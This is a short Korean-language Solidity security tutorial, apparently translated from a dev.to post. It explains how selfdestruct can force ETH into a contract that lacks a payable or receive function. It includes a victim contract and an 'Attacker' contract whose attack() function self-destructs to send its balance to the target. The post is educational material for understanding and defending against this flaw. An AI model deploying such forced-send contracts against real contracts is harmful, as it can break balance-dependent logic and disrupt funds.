ETH 강제 전송 - 1
3282 단어 soliditysecuritybestpractice
selfdestruct(payable(addressThat))
, 이는 계약에 있는 모든 ETH를 addressThat의 다른 계약으로 보내는 데 사용됩니다. selfdestruct
는 계약에서 모든 데이터를 지우고 블록체인의 공간을 확보하는 EVM 수준에서 작동합니다.또한 모든 ETH를 다른 계약으로 보내는 것이
addressThat.send(this.balance)
보다 훨씬 저렴합니다.예를 들어 보겠습니다.
contract dontWant { // no payable function, hence can't recieve eth
function something() external pure returns(uint) {
return 1;
}
function getBalance() external view returns(uint) {
return address(this).balance;
}
}
공격자:
contract Attacker {
receive() external payable { // we will send ether to this contract
}
function attack(address _dontWant) payable external { // this contract will forecfully send all ether to dontWant
selfdestruct(payable(_dontWant));
}
function getBalance() external view returns(uint) {
return address(this).balance;
}
}
Attacker
컨트랙트에 ETH를 보내고 attack()
함수를 호출하면 dontWant
가 ETH를 받습니다.모든 계약은
selfdestruct
를 사용하여 ETH를 다른 계약으로 보낼 수 있습니다(수신자 계약에 수신/폴백 기능이 없더라도).하지만 애초에 이것이 왜 취약점일까요? 무료 ETH를 받는데 무엇이 잘못되었나요?
다음 게시물( )에서 답변을 얻을 수 있습니다.
Reference
이 문제에 관하여(ETH 강제 전송 - 1), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/rushanksavant/force-send-eth-1-2on1텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)